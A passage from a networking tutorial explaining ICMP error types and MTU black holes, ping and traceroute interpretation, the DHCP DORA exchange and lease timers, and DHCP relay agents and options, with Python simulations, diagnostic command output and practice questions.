  Without those 8 bytes: "something you sent failed."
  With them: "your connection from port 51234 to port 443 failed."


Type 3 Code 4 — the message that makes PMTUD work

    [host] --1500-- [R1] --1400-- [R2] ---- [server]
       |
       |-- 1500-byte packet, DF set -->
                      |
                      R1: too big for the 1400 link, DF forbids splitting
                      -> drop, and send back:
       <-- ICMP Type 3 Code 4, "next-hop MTU = 1400" --+
       |
       +-- retries at 1400 -> succeeds.

  Block this message and the host NEVER LEARNS. Small packets
  (the TCP handshake) work; large packets (the actual data) vanish.
  The connection opens and then hangs. This is an MTU BLACK HOLE.

ICMP_TYPES = {
    (0, 0):   ("Echo Reply", "ping response"),
    (3, 0):   ("Net Unreachable", "no route to the destination network"),
    (3, 1):   ("Host Unreachable", "network reached; host did not answer"),
    (3, 3):   ("Port Unreachable", "nothing listening on that UDP port"),
    (3, 4):   ("Fragmentation Needed, DF set", "CRITICAL: carries next-hop MTU for PMTUD"),
    (3, 13):  ("Administratively Prohibited", "a firewall dropped it on purpose"),
    (5, 0):   ("Redirect (network)", "a better first hop exists"),
    (8, 0):   ("Echo Request", "ping"),
    (11, 0):  ("TTL Exceeded in Transit", "CRITICAL: traceroute depends on this"),
    (11, 1):  ("Fragment Reassembly Time Exceeded", "fragments never completed"),
    (12, 0):  ("Parameter Problem", "malformed IP header"),
}

for (t, c), (name, meaning) in sorted(ICMP_TYPES.items()):
    flag = "  <<<" if "CRITICAL" in meaning else ""
    print(f"type {t:>2} code {c:>2}  {name:<34} {meaning}{flag}")
# type  0 code  0  Echo Reply                         ping response
# type  3 code  0  Net Unreachable                    no route to the destination network
# type  3 code  1  Host Unreachable                   network reached; host did not answer
# type  3 code  3  Port Unreachable                   nothing listening on that UDP port
# type  3 code  4  Fragmentation Needed, DF set       CRITICAL: carries next-hop MTU for PMTUD  <<<
# type  3 code 13  Administratively Prohibited        a firewall dropped it on purpose
# type  5 code  0  Redirect (network)                 a better first hop exists
# type  8 code  0  Echo Request                       ping
# type 11 code  0  TTL Exceeded in Transit            CRITICAL: traceroute depends on this  <<<
# type 11 code  1  Fragment Reassembly Time Exceeded  fragments never completed
# type 12 code  0  Parameter Problem                  malformed IP header

# Matching an ICMP error back to the socket that caused it.
import struct

def match_error_to_socket(original_ip_header: bytes, first8: bytes):
    src_port, dst_port = struct.unpack("!HH", first8[:4])    # TCP/UDP start with ports
    proto = original_ip_header[9]
    import socket as s
    src = s.inet_ntoa(original_ip_header[12:16])
    dst = s.inet_ntoa(original_ip_header[16:20])
    name = {6: "TCP", 17: "UDP"}.get(proto, proto)
    return f"{name} {src}:{src_port} -> {dst}:{dst_port}"

orig = bytes.fromhex("4500003ca1b240004006c73dc0a8011408080808")
payload8 = struct.pack("!HHI", 51234, 443, 0)
print("\nerror concerns:", match_error_to_socket(orig, payload8))
# error concerns: TCP 192.168.1.20:51234 -> 8.8.8.8:443
#   The kernel can now signal exactly that socket, not "something broke".

# What blocking ICMP actually costs.
BLOCKED = {
    "type 3 code 4":  "PMTUD dies -> MTU BLACK HOLE (small packets fine, large ones vanish)",
    "type 11":        "traceroute shows * * * forever; path diagnosis impossible",
    "type 3 code 3":  "UDP services appear to hang instead of failing fast",
    "type 8/0 (echo)":"no reachability testing; every outage looks identical",
}
print()
for what, consequence in BLOCKED.items():
    print(f"blocking {what:<17} -> {consequence}")
# blocking type 3 code 4    -> PMTUD dies -> MTU BLACK HOLE (small packets fine, large ones vanish)
# blocking type 11          -> traceroute shows * * * forever; path diagnosis impossible
# blocking type 3 code 3    -> UDP services appear to hang instead of failing fast
# blocking type 8/0 (echo)  -> no reachability testing; every outage looks identical

# Errors, observed.
$ ping -c1 10.99.99.99
# From 192.168.1.1 icmp_seq=1 Destination Host Unreachable     # type 3 code 1

$ nc -u -w1 192.168.1.50 9999 ; echo test
$ sudo tcpdump -i eth0 -n icmp
# IP 192.168.1.50 > 192.168.1.20: ICMP 192.168.1.50 udp port 9999 unreachable
#                                      ^^^^^^^^^^^^^^^^^^^^^^^^ type 3 code 3
#   This is exactly how traceroute knows it has reached the destination.

# Rate limiting, so ICMP cannot be used against the control plane:
$ sysctl net.ipv4.icmp_ratelimit net.ipv4.icmp_msgs_per_sec
# net.ipv4.icmp_ratelimit = 1000
# net.ipv4.icmp_msgs_per_sec = 1000

# The RIGHT firewall policy: selective, not blanket.
$ sudo iptables -A INPUT -p icmp --icmp-type fragmentation-needed -j ACCEPT  # PMTUD
$ sudo iptables -A INPUT -p icmp --icmp-type time-exceeded        -j ACCEPT  # traceroute
$ sudo iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 5/s -j ACCEPT
$ sudo iptables -A INPUT -p icmp -j DROP                # everything else

# Diagnosing an MTU black hole — the signature is unmistakable:
$ ping -c1 -s 100  server.example.com      # small: works
$ ping -c1 -s 1472 -M do server.example.com # large with DF: silence, no error
# -> a device on the path is dropping type 3 code 4. TCP will connect and hang.

Key takeaways

• ICMP is IP's error-reporting and diagnostic companion (protocol 1); it reports problems, it does not fix them.
• ICMP errors are never generated about ICMP errors, preventing infinite message loops.
• An error carries the original IP header plus 8 payload bytes — enough to include TCP/UDP ports, so the error can be matched to a specific socket.
• Type 3 Code 4 (Fragmentation Needed) carries the next-hop MTU and is the only signal that makes PMTUD work.
• Type 11 Code 0 (TTL Exceeded) is the sole mechanism behind traceroute.
• Type 3 Code 3 (Port Unreachable) tells a sender nothing is listening, and is how traceroute detects arrival.
• Blocking ICMP wholesale breaks PMTUD (creating MTU black holes), breaks traceroute, and turns every failure into a timeout.
• The correct posture is selective permit plus rate limiting; in IPv6 blanket blocking is fatal, since NDP lives inside ICMPv6.

🧪 Practice

1. Name the ICMP type and code for: a ping reply, no listening UDP port, TTL expiry, and a packet too large with DF set.
2. Explain why an ICMP error includes 8 bytes of the original payload and what would be lost if it included none.
3. A TCP connection completes its handshake, then hangs as soon as data flows. Explain the likely ICMP-related cause and how to confirm it.
4. Interview-style: "We block all ICMP at the perimeter for security." What would you tell this team? (Hint: name the two message types whose loss silently breaks connectivity, and describe the failure mode users would actually report.)

ping and traceroute Mechanics

Theory

These two tools answer the first two questions of nearly every network investigation — can I reach it? and where does it break? — and both are built directly on ICMP behaviour described above.

ping sends an ICMP Echo Request (type 8) and waits for an Echo Reply (type 0). Each probe carries an identifier (so a host can match replies to the right ping process), a sequence number (so loss and reordering are detectable), and a payload containing a timestamp (so RTT can be computed without keeping state).

Ping's output is richer than it looks:

• RTT — the round trip, including processing at both ends.
• Loss percentage — computed from missing sequence numbers.
• mdev / jitter — variation across probes; a large spread means variable queueing.
• TTL in the reply — reveals the return path's hop count and hints at the responder's OS.
• DUP! — the same sequence number seen twice, usually indicating a routing loop or a duplicating link.

The essential caveat: a ping failure does not mean the host is down. Many hosts and firewalls deliberately drop echo requests, and ICMP may be deprioritised under load. Ping proves reachability when it succeeds; it proves very little when it fails.

traceroute maps the path by exploiting TTL expiry. Send a probe with TTL=1; the first router decrements it to zero, discards it, and returns ICMP Time Exceeded (type 11) — which identifies that router. Repeat with TTL=2, 3, 4, and each successive router reveals itself. Stop when the destination replies differently.

Implementations differ in the probe they send, and the difference matters when a firewall is in the path:

Variant	Probe	Destination reply	Notes
Classic Unix	UDP to a high, unused port (33434+)	ICMP Port Unreachable	Default on Linux
Windows tracert	ICMP Echo	Echo Reply	Often blocked by firewalls
traceroute -T / tcptraceroute	TCP SYN to a real port (80, 443)	SYN-ACK or RST	Best chance of traversing filters

Reading traceroute output correctly requires knowing three things that routinely mislead people:

* * * does not mean the path is broken. It means that hop did not reply — because it rate-limits ICMP, is configured not to generate it, or the reply was filtered. Traffic can pass through perfectly. If later hops respond, the path is fine.

Latency that decreases at a later hop is not an error. Each hop is measured independently from the source, so a router busy generating ICMP (a low-priority control-plane task) can report a higher RTT than the hop beyond it. Only the trend matters, not individual comparisons.

The path shown is the forward path only, and it may change. Return paths are frequently asymmetric and invisible to traceroute. A latency jump could be caused by the return path, which you are not seeing. MTR (which combines ping and traceroute, continuously) is the better tool for anything beyond a quick look, because it exposes per-hop loss over time rather than a single snapshot.

Examples

ping: one exchange, several facts

   host                                    target
    |--- ICMP Echo Request (type 8) ------->|
    |    id=4211 seq=1 payload=<timestamp>  |
    |<-- ICMP Echo Reply (type 0) ----------|
    |    id=4211 seq=1 payload=<echoed>     |
    |
    RTT = now - timestamp_in_payload
          ^ no state kept at the sender: the timestamp rides in the packet


traceroute: increment TTL, collect the corpses

   TTL=1  --> R1 (decrements to 0) --> DROP
          <-- ICMP Time Exceeded from R1        "hop 1 = R1"
   TTL=2  --> R1(1) --> R2 (0) --> DROP
          <-- ICMP Time Exceeded from R2        "hop 2 = R2"
   TTL=3  --> R1(2) --> R2(1) --> R3 (0)
          <-- ICMP Time Exceeded from R3        "hop 3 = R3"
   TTL=4  --> R1(3) --> R2(2) --> R3(1) --> DEST
          <-- ICMP Port Unreachable from DEST   "arrived — stop"
              ^^^^^^^^^^^^^^^^^^^^^^ the DIFFERENT reply is the stop signal


Reading output that looks alarming but is not

    1  192.168.1.1     1.2 ms
    2  10.20.0.1       9.8 ms
    3  * * *                    <- hop 3 does not generate ICMP. NOT a fault.
    4  62.115.120.1   11.4 ms   <- traffic clearly passed THROUGH hop 3
    5  62.115.100.1    9.1 ms   <- LOWER than hop 4. Also not a fault:
                                   hop 4's CPU was busy making ICMP.
    6  93.184.216.34  11.9 ms   <- destination reached

  A genuine break looks different: every hop from N onward is * * *,
  and the destination is never reached.

import struct, time, socket

def build_icmp_echo(identifier, seq, payload=b""):
    """ICMP header: type(1) code(1) checksum(2) id(2) seq(2)."""
    def checksum16(data):
        if len(data) % 2:
            data += b"\x00"
        total = 0
        for i in range(0, len(data), 2):
            total += (data[i] << 8) | data[i + 1]
            total = (total & 0xFFFF) + (total >> 16)
        return ~total & 0xFFFF

    header = struct.pack("!BBHHH", 8, 0, 0, identifier, seq)   # type 8 = request
    csum = checksum16(header + payload)
    return struct.pack("!BBHHH", 8, 0, csum, identifier, seq) + payload

ts = struct.pack("!d", 1700000000.0)        # timestamp rides in the payload
pkt = build_icmp_echo(0x1073, 1, ts)
print("ICMP echo request:", pkt[:8].hex(), f"({len(pkt)} bytes)")
print("  type =", pkt[0], " code =", pkt[1],
      " id =", struct.unpack('!H', pkt[4:6])[0],
      " seq =", struct.unpack('!H', pkt[6:8])[0])
# ICMP echo request: 080010b610730001 (16 bytes)
#                    ^^^^ type 8, code 0
#                        ^^^^ checksum — changes with the timestamp payload
#   type = 8  code = 0  id = 4211  seq = 1
# A real ping uses time.time() here, so its checksum differs on every probe.

# Statistics from a run of probes — what ping's summary line actually computes.
def ping_stats(rtts, sent):
    received = len(rtts)
    loss = 100 * (sent - received) / sent
    avg = sum(rtts) / received
    mdev = (sum((r - avg) ** 2 for r in rtts) / received) ** 0.5
    return {
        "sent": sent, "received": received, "loss_pct": round(loss, 1),
        "min": round(min(rtts), 2), "avg": round(avg, 2),
        "max": round(max(rtts), 2), "mdev": round(mdev, 2),
        "queueing_variation_ms": round(max(rtts) - min(rtts), 2),
    }

print()
print("stable path: ", ping_stats([11.1, 11.3, 11.2, 11.4, 11.2], sent=5))
print("congested:   ", ping_stats([11.1, 48.9, 12.0, 91.2, 13.4], sent=6))
# stable path:  {'sent': 5, 'received': 5, 'loss_pct': 0.0, 'min': 11.1, 'avg': 11.24,
#                'max': 11.4, 'mdev': 0.1, 'queueing_variation_ms': 0.3}
# congested:    {'sent': 6, 'received': 5, 'loss_pct': 16.7, 'min': 11.1, 'avg': 35.32,
#                'max': 91.2, 'mdev': 31.36, 'queueing_variation_ms': 80.1}
#   min is the empty-queue path; max - min is queueing. A large mdev is the
#   signal that matters for voice and video, not the average.

# The traceroute loop, in ten lines.
def traceroute(path, max_hops=30):
    """path: a list of router names; the last entry is the destination."""
    results = []
    for ttl in range(1, max_hops + 1):
        if ttl > len(path):
            break
        responder = path[ttl - 1]
        if responder is None:                       # rate-limited or silent hop
            results.append((ttl, "* * *", "no ICMP generated — NOT a failure"))
        elif ttl == len(path):
            results.append((ttl, responder, "ICMP Port Unreachable -> ARRIVED, stop"))
        else:
            results.append((ttl, responder, "ICMP Time Exceeded (type 11)"))
    return results

for ttl, who, why in traceroute(["192.168.1.1", "10.20.0.1", None,
                                 "62.115.120.1", "93.184.216.34"]):
    print(f"{ttl:>2}  {who:<16} {why}")
#  1  192.168.1.1      ICMP Time Exceeded (type 11)
#  2  10.20.0.1        ICMP Time Exceeded (type 11)
#  3  * * *            no ICMP generated — NOT a failure
#  4  62.115.120.1     ICMP Time Exceeded (type 11)
#  5  93.184.216.34    ICMP Port Unreachable -> ARRIVED, stop

# ping: read every column, not just "reply received".
$ ping -c4 93.184.216.34
# 64 bytes from 93.184.216.34: icmp_seq=1 ttl=56 time=11.3 ms
#                                              ^^^^^^ 64-56 = 8 hops on the RETURN path
# --- 93.184.216.34 ping statistics ---
# 4 packets transmitted, 4 received, 0% packet loss, time 3004ms
# rtt min/avg/max/mdev = 11.204/11.287/11.401/0.079 ms
#                        ^^^^^^ empty queues        ^^^^^ jitter: low = healthy

# When ICMP echo is filtered, prove reachability another way:
$ ping -c1 -W2 secure.example.com
# 1 packets transmitted, 0 received, 100% packet loss     <- proves nothing
$ nc -zv secure.example.com 443
# Connection to secure.example.com 443 port [tcp/https] succeeded!
#   The host is very much alive. Ping failure is not evidence of an outage.

# traceroute variants, in order of firewall-friendliness:
$ traceroute -n 93.184.216.34           # UDP, the Linux default
$ traceroute -I -n 93.184.216.34        # ICMP echo, like Windows tracert
$ sudo traceroute -T -p 443 -n 93.184.216.34   # TCP SYN to 443 — usually passes
#  1  192.168.1.1     1.2 ms
#  2  10.20.0.1       9.8 ms
#  3  * * *                              <- silent hop, path still works
#  4  93.184.216.34  11.9 ms

# MTR is the better tool: continuous, per-hop loss over time.
$ mtr -rwc 100 93.184.216.34
# HOST                  Loss%   Snt   Last   Avg  Best  Wrst StDev
# 1. 192.168.1.1         0.0%   100    1.1   1.2   0.9   3.4   0.3
# 2. 10.20.0.1           0.0%   100    9.8  10.4   9.1  22.7   2.1
# 3. 62.115.120.1       21.0%   100   11.4  13.9  10.8  71.2   9.9   <- ICMP rate limit?
# 4. 93.184.216.34       0.0%   100   11.9  12.1  11.3  19.8   1.2
#                        ^^^^ the KEY reading: loss at hop 3 but ZERO at hop 4
#                        means hop 3 merely rate-limits its own ICMP replies.
#                        Loss that PERSISTS to the last hop is real loss.

Key takeaways

• ping uses ICMP Echo Request/Reply, carrying an identifier, a sequence number, and a timestamp in the payload so RTT needs no sender state.
• Read all of ping's output: min is the empty-queue path, max − min is queueing variation, mdev is jitter, and the reply's TTL reveals return-path length.
• A ping failure does not prove a host is down — echo is widely filtered or deprioritised.
• traceroute increments TTL and collects ICMP Time Exceeded replies, one per hop.
• Variants differ by probe: UDP to high ports (Unix default), ICMP echo (Windows), TCP SYN (-T, most likely to traverse firewalls).
• * * * means that hop did not reply, not that the path is broken — if later hops answer, traffic is passing through it.
• Lower latency at a later hop is normal, because ICMP generation is a low-priority control-plane task.
• Traceroute shows only the forward path; return paths are often asymmetric and invisible. MTR is better for real diagnosis because it shows per-hop loss over time, and loss that does not persist to the final hop is usually just ICMP rate limiting.

🧪 Practice

1. A ping reply arrives with TTL 52. State the likely number of return-path hops and the responder's probable OS family.
2. Explain why traceroute's classic Unix implementation sends UDP to port 33434+ and how it recognises that it has reached the destination.
3. An MTR run shows 30% loss at hop 4 and 0% loss at hops 5 through 9. Explain what this means and why it is not the cause of a user's problem.
4. Interview-style: A server does not respond to ping but serves HTTPS normally. Is it down? (Hint: ask what a dropped echo request actually proves, and name a tool that tests the service rather than the protocol stack's courtesy.)

DHCP Lease Process (DORA)

Theory

A host joining a network needs an IP address, a subnet mask, a default gateway, and DNS servers. Configuring all four by hand on every device does not scale past a small office and guarantees duplicate-address incidents. DHCP (Dynamic Host Configuration Protocol, RFC 2131) automates it.

There is a bootstrapping puzzle here worth appreciating. A host with no IP address must somehow communicate over IP to obtain one. The resolution is to use addresses that require no configuration: the source is 0.0.0.0 ("I have no address") and the destination is 255.255.255.255 (limited broadcast, which every host on the link receives). The exchange works precisely because those two special addresses exist.

The four-message exchange is remembered as DORA:

D — DISCOVER. The client broadcasts from 0.0.0.0 to 255.255.255.255, asking any DHCP server to respond. It includes its MAC and a transaction ID (xid) used to match the whole conversation.

O — OFFER. Each server that hears it reserves an address and broadcasts an offer containing the address, mask, gateway, DNS, and lease duration. Multiple servers may offer; the client will accept exactly one.

R — REQUEST. The client broadcasts its acceptance, naming the chosen server. The broadcast is deliberate: it tells the servers that were not chosen to release their reservations.

A — ACK. The chosen server confirms, commits the binding to its lease database, and the client configures its interface. (If something has changed — the address was taken in the meantime — the server sends NAK instead and the client restarts.)

Lease renewal follows a timer schedule that provides graceful degradation:

Timer	Default	Action
T1	50% of lease	Client unicasts a REQUEST to renew, directly to its server
T2	87.5% of lease	Renewal failed; client broadcasts REQUEST to any server
Expiry	100%	Client must stop using the address and restart DORA

The design intent is that a brief server outage is invisible: a client with a 24-hour lease starts trying to renew at 12 hours and has a further 12 hours of working connectivity to succeed. Only a sustained outage causes visible failure.

Two behaviours commonly cause confusion:

DHCP uses UDP ports 67 (server) and 68 (client) — fixed ports on both ends, unusual for a client protocol, because a client with no address cannot receive a reply directed at an ephemeral port in the usual way.

DHCP servers are unauthenticated. Any device can answer a DISCOVER, and a rogue DHCP server — malicious, or a home router someone plugged in backwards — hands out wrong gateways and DNS servers, silently redirecting traffic. The defence is DHCP snooping on switches: mark uplink ports as trusted, and drop server-class messages (OFFER, ACK) arriving on untrusted access ports. As a bonus, snooping builds the IP-to-MAC-to-port binding table that Dynamic ARP Inspection depends on.

Examples

DORA — four messages, and why each is broadcast

  CLIENT (no address)                          SERVER(s)
  0.0.0.0:68                                   192.168.1.1:67
     |
     |---- DISCOVER -------------------------->|  broadcast: client knows
     |     src 0.0.0.0  dst 255.255.255.255    |  of no server yet
     |     xid=0x3d1e  chaddr=aa:bb:cc:dd:ee:ff|
     |                                          |
     |<--- OFFER ------------------------------|  "take 192.168.1.50,
     |     yiaddr=192.168.1.50 lease=86400      |   mask /24, gw .1, dns ..."
     |                                          |
     |---- REQUEST --------------------------->|  broadcast ON PURPOSE:
     |     "I accept .50 from server .1"        |  tells OTHER servers to
     |     still src 0.0.0.0                    |  release their offers
     |                                          |
     |<--- ACK --------------------------------|  committed to the lease DB
     |     yiaddr=192.168.1.50                  |
     v
  configures eth0, runs ARP probe (checks nobody else has .50), done.


Lease timers — why a dead DHCP server is not an instant outage

  lease = 24 h
  0h                    12h (T1)        21h (T2)             24h
  |---------------------|----------------|--------------------|
   working               unicast renew    broadcast to ANY     STOP USING
                         to my server     server, urgently     the address

  A server down from 12h to 20h is invisible: the client keeps working
  and renews successfully at some retry before T2.

class DHCPServer:
    def __init__(self, pool_start, pool_end, lease=86400):
        self.pool = list(range(pool_start, pool_end + 1))
        self.leases = {}                 # mac -> (ip_suffix, expiry)
        self.offered = {}                # mac -> ip_suffix (pending REQUEST)
        self.lease = lease

    def discover(self, mac, now):
        if mac in self.leases:           # honour the existing binding if possible
            ip = self.leases[mac][0]
        else:
            free = [i for i in self.pool
                    if i not in {v[0] for v in self.leases.values()}
                    and i not in self.offered.values()]
            if not free:
                return None              # pool exhausted -> no OFFER at all
            ip = free[0]
        self.offered[mac] = ip
        return {"msg": "OFFER", "ip": ip, "lease": self.lease,
                "t1": self.lease // 2, "t2": int(self.lease * 0.875)}

    def request(self, mac, requested_ip, now):
        if self.offered.get(mac) != requested_ip:
            return {"msg": "NAK", "reason": "not the address offered to you"}
        self.leases[mac] = (requested_ip, now + self.lease)
        del self.offered[mac]
        return {"msg": "ACK", "ip": requested_ip, "expires": now + self.lease}

    def renew(self, mac, now):
        if mac not in self.leases:
            return {"msg": "NAK", "reason": "no binding; restart DORA"}
        ip, _ = self.leases[mac]
        self.leases[mac] = (ip, now + self.lease)
        return {"msg": "ACK", "ip": ip, "expires": now + self.lease}

srv = DHCPServer(pool_start=50, pool_end=52)
now = 0

offer = srv.discover("aa:bb:cc:dd:ee:ff", now)
print("O:", offer)
print("A:", srv.request("aa:bb:cc:dd:ee:ff", offer["ip"], now))
# O: {'msg': 'OFFER', 'ip': 50, 'lease': 86400, 't1': 43200, 't2': 75600}
# A: {'msg': 'ACK', 'ip': 50, 'expires': 86400}

# The same client returning gets the SAME address — leases are sticky.
print("O:", srv.discover("aa:bb:cc:dd:ee:ff", now + 100))
# O: {'msg': 'OFFER', 'ip': 50, 'lease': 86400, 't1': 43200, 't2': 75600}

# Pool exhaustion: no OFFER is sent at all, and the client eventually
# self-assigns 169.254.x.x.
for mac in ["11:11:11:11:11:11", "22:22:22:22:22:22", "33:33:33:33:33:33"]:
    o = srv.discover(mac, now)
    print(f"{mac}: {o if o else 'NO OFFER — pool exhausted -> client falls back to APIPA'}")
# 11:11:11:11:11:11: {'msg': 'OFFER', 'ip': 51, ...}
# 22:22:22:22:22:22: {'msg': 'OFFER', 'ip': 52, ...}
# 33:33:33:33:33:33: NO OFFER — pool exhausted -> client falls back to APIPA

# Renewal schedule.
def renewal_plan(lease_seconds):
    return {"lease_h": lease_seconds / 3600,
            "T1_h (unicast renew)": lease_seconds * 0.5 / 3600,
            "T2_h (broadcast rebind)": lease_seconds * 0.875 / 3600,
            "outage_tolerated_h": lease_seconds * 0.875 / 3600 - lease_seconds * 0.5 / 3600}

print()
for lease in (3600, 86400, 604800):
    print(lease, renewal_plan(lease))
# 3600 {'lease_h': 1.0, 'T1_h (unicast renew)': 0.5, 'T2_h (broadcast rebind)': 0.875,
#       'outage_tolerated_h': 0.375}
# 86400 {'lease_h': 24.0, 'T1_h (unicast renew)': 12.0, 'T2_h (broadcast rebind)': 21.0,
#        'outage_tolerated_h': 9.0}
# 604800 {'lease_h': 168.0, 'T1_h (unicast renew)': 84.0, 'T2_h (broadcast rebind)': 147.0,
#         'outage_tolerated_h': 63.0}

# DORA on the wire — all four messages, in order.
$ sudo tcpdump -i eth0 -n port 67 or port 68
# IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff,
#    ^^^^^^^ no address yet  ^^^^^^^^^^^^^^^ limited broadcast
#    length 300, xid 0x3d1e2f4a, Flags [none]
#      Client-Ethernet-Address aa:bb:cc:dd:ee:ff
#      DHCP-Message Option 53, length 1: Discover
# IP 192.168.1.1.67 > 255.255.255.255.68: BOOTP/DHCP, Reply, length 300,
#      xid 0x3d1e2f4a, Your-IP 192.168.1.50
#      DHCP-Message Option 53, length 1: Offer
#      Subnet-Mask Option 1: 255.255.255.0
#      Default-Gateway Option 3: 192.168.1.1
#      Domain-Name-Server Option 6: 192.168.1.1
#      Lease-Time Option 51: 86400
# ... Request ... ACK

# Client-side lease state:
$ cat /var/lib/dhcp/dhclient.leases | tail -12
# lease {
#   interface "eth0";
#   fixed-address 192.168.1.50;
#   option subnet-mask 255.255.255.0;
#   option routers 192.168.1.1;
#   option dhcp-lease-time 86400;
#   renew 3 2026/09/23 14:22:01;      <- T1
#   rebind 3 2026/09/23 23:22:01;     <- T2
#   expire 4 2026/09/24 02:22:01;     <- hard stop
# }

$ sudo dhclient -r eth0 && sudo dhclient eth0   # release, then full DORA again

# Rogue DHCP defence — trust only the ports where a server legitimately lives:
# ip dhcp snooping
# ip dhcp snooping vlan 10
# interface GigabitEthernet1/0/24
#   ip dhcp snooping trust          <- the uplink to the real DHCP server
# (all other ports are untrusted: OFFER/ACK arriving there is dropped)

$ show ip dhcp snooping binding
# MacAddress          IpAddress     Lease(sec)  Type          VLAN  Interface
# AA:BB:CC:DD:EE:FF   192.168.1.50  86391       dhcp-snooping   10  Gi1/0/5
#   ^ this table is also what Dynamic ARP Inspection validates against

Key takeaways

• DHCP supplies address, mask, gateway, DNS, and lease duration; it bootstraps using 0.0.0.0 as source and 255.255.255.255 as destination.
• DORA: DISCOVER (client broadcast), OFFER (server proposes), REQUEST (client accepts, broadcast so other servers release), ACK (server commits).
• The REQUEST is broadcast on purpose — it is how unchosen servers learn to free their reservations.
• Ports are fixed: UDP 67 (server) and UDP 68 (client).
• T1 at 50% triggers a unicast renewal; T2 at 87.5% triggers a broadcast rebind; at 100% the client must stop using the address.
• These timers let a client survive a DHCP server outage lasting a large fraction of the lease with no visible effect.
• Pool exhaustion produces no OFFER, and the client falls back to 169.254.x.x — which is why APIPA is a DHCP symptom.
• DHCP is unauthenticated; DHCP snooping with trusted uplink ports blocks rogue servers and builds the binding table DAI relies on.

🧪 Practice

1. List the four DORA messages with source and destination addresses for each, and say why the REQUEST is broadcast rather than unicast.
2. For a 4-hour lease, compute T1 and T2 in minutes and state the longest DHCP server outage a client tolerates without losing connectivity.
3. Explain the full chain of events from a DHCP pool exhausting to a user seeing "no internet", naming the address the client ends up with.
4. Interview-style: Someone plugs a home router into an office wall port and part of the floor loses connectivity. Explain the mechanism and the switch feature that prevents it. (Hint: the router runs a DHCP server on its LAN side, and that port is now answering DISCOVERs faster than the real server.)

DHCP Relay and Options

Theory

DORA's first message is a broadcast, and routers do not forward broadcasts. That means DHCP only works if a server sits on every subnet — which for a network with 200 VLANs would mean 200 DHCP servers, 200 lease databases, and 200 things to keep consistent. Nobody does this.

The solution is the DHCP relay agent (also called an IP helper). A router interface is configured with the address of a central DHCP server. When a broadcast DHCP message arrives on that interface, the router does three things:

1. Converts it to unicast and forwards it to the configured server.
2. Fills in the giaddr field with its own address on the receiving interface.
3. Relays the server's reply back to the client on that subnet.

The giaddr (gateway IP address) field is the heart of the mechanism. It is how the central server knows which subnet the request came from, and therefore which pool to allocate from. Without giaddr, a server receiving a unicast request would have no idea whether the client was on the engineering VLAN or the guest VLAN. The server selects its pool by matching giaddr against its configured subnets, and it sends the reply back to giaddr for the relay to deliver locally.

This turns DHCP into a centralised service: one server (or a redundant pair) for hundreds of subnets, one lease database, one place to change configuration.

DHCP options are the extensible part of the protocol, encoded as TLV and carried in the options field. The protocol's actual value lies mostly here, since an address alone configures very little.

Option	Name	Purpose
1	Subnet Mask	The mask
3	Router	Default gateway
6	Domain Name Server	Resolvers
15	Domain Name	Search domain
51	IP Address Lease Time	Lease duration in seconds
53	DHCP Message Type	Which of DISCOVER/OFFER/REQUEST/ACK/NAK this is
54	Server Identifier	Which server the client is accepting
55	Parameter Request List	The options the client is asking for
60	Vendor Class Identifier	Client self-identification, e.g. PXEClient
66 / 67	TFTP Server / Bootfile	PXE network boot
82	Relay Agent Information	Circuit and remote ID, inserted by the relay
119	Domain Search	Multiple search domains
121	Classless Static Route	Push specific routes to clients

Two of these do more work than their numbering suggests.

Option 55 (Parameter Request List) means the client tells the server what it wants. A server may be configured with fifty options, but it sends only those the client asked for, plus a few mandatory ones. This is also a fingerprinting vector: the exact set and order of requested options differs by OS, so DHCP traffic alone identifies whether a device is Windows, Android, or a printer.

Option 82 (Relay Agent Information) is inserted by the relay and carries the circuit ID (which physical port or VLAN the request arrived on) and the remote ID (which relay). ISPs depend on it to map a DHCP request to a specific subscriber line — it is how a provider knows which customer is asking, independent of anything the customer's equipment claims. Because a client could forge it, switches drop inbound option 82 from untrusted ports.

Two operational points are worth stating plainly: relays must be configured per interface, and forgetting one VLAN is a classic cause of "only the new VLAN has no DHCP". And redundancy usually means configuring two helper addresses, so both servers receive the request and the client accepts whichever answers first.

Examples

Why relay is needed, and what giaddr does

  WITHOUT a relay:
    [client] --broadcast--> [ROUTER]  X  broadcasts are not forwarded
                                         the DHCP server never hears it.

  WITH a relay:
    [client] --broadcast--> [ROUTER/relay] --UNICAST--> [DHCP server]
    VLAN 20                  sets giaddr =              one server,
    192.168.20.0/24          192.168.20.1               many subnets
                                    |
                                    +--> server reads giaddr, picks the
                                         192.168.20.0/24 pool, replies to
                                         giaddr; the relay delivers locally.


One server, many subnets — pool selection by giaddr

   VLAN 10  192.168.10.0/24 --relay(giaddr=192.168.10.1)--+
   VLAN 20  192.168.20.0/24 --relay(giaddr=192.168.20.1)--+--> [ DHCP ]
   VLAN 30  192.168.30.0/24 --relay(giaddr=192.168.30.1)--+    one lease DB
                                                                three pools
   giaddr 192.168.20.1 -> match subnet 192.168.20.0/24 -> offer from that pool.


Option 82 — the relay tells the server WHERE the client physically is

   [client] --> [switch Gi1/0/12, VLAN 20] --> [relay] --> [server]
                                                inserts option 82:
                                                  circuit-id = Gi1/0/12:vlan20
                                                  remote-id  = switch MAC
   The server can now allocate, log, or refuse based on the PHYSICAL PORT,
   not on anything the client claims about itself.

DHCP_OPTIONS = {
    1:  "Subnet Mask", 3: "Router (default gateway)", 6: "Domain Name Server",
    15: "Domain Name", 51: "IP Address Lease Time", 53: "DHCP Message Type",
    54: "Server Identifier", 55: "Parameter Request List",
    60: "Vendor Class Identifier", 66: "TFTP Server Name", 67: "Bootfile Name",
    82: "Relay Agent Information", 119: "Domain Search", 121: "Classless Static Route",
}
MSG_TYPES = {1: "DISCOVER", 2: "OFFER", 3: "REQUEST", 4: "DECLINE",
             5: "ACK", 6: "NAK", 7: "RELEASE", 8: "INFORM"}

def encode_options(opts):
    """DHCP options are TLV: code, length, value."""
    out = bytearray()
    for code, value in opts.items():
        if isinstance(value, int):
            value = value.to_bytes(4, "big")
        elif isinstance(value, str):
            value = value.encode()
        out += bytes([code, len(value)]) + value
    out += b"\xff"                                  # option 255 = END
    return bytes(out)

def decode_options(raw):
    out, i = {}, 0
    while i < len(raw) and raw[i] != 0xFF:
        code, length = raw[i], raw[i + 1]
        value = raw[i + 2:i + 2 + length]
        out[code] = value
        i += 2 + length
    return out

import socket
packet_opts = encode_options({
    53: bytes([2]),                                   # OFFER
    1:  socket.inet_aton("255.255.255.0"),
    3:  socket.inet_aton("192.168.20.1"),
